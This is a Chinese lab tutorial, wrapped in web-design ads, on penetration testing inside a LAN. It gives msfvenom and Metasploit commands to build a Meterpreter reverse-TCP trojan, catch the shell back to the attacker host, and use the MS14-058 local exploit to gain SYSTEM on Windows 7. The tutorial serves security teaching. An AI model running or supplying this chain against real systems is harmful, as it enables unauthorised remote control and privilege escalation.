重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
这篇文章给大家介绍大数据内网渗透中如何利用提权漏洞提升权限,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
网站制作、建网站找专业网站设计公司创新互联:定制网站、模板网站、仿站、重庆小程序开发、软件开发、成都app开发等。做网站价格咨询创新互联:服务完善、十余年建站、值得信赖!网站制作电话:18980820575
环境:小攻:Kali 2020,ip:192.168.1.133
小受:win7 x86,ip:192.168.1.137
一、生成木马
1、查看Windows下可利用的payloads
msfvenom -l payloads | grep windows | grep tcp
2、选择windows/meterpreter/reverse_tcp并生成木马
-p 选择一个payload
-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-x 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -b"\x00" -f exe > aiyou.exe
3、/root目录下会生成一个aiyou.exe文件
二、通过Metasploit监听小受
1、启动Metasploit,use exploit/multi/handler
2、设置payload,set payload windows/meterpreter/reverse_tcp
3、设置监听,set lhost 192.168.1.133
4、设置监听端口,set lport 4444
5、run
6、将生成的aiyou.exe拷贝到小受中并运行,getuid查看权限,普通用户
三、提权漏洞(ms14_058)
1、选择提权漏洞:use exploit/windows/local/ms14_058_track_popup_menu
2、查看需要设置的参数:show options
3、设置session值:set session 1,执行run
4、重新生成一个session,查看权限
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
关于大数据内网渗透中如何利用提权漏洞提升权限就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。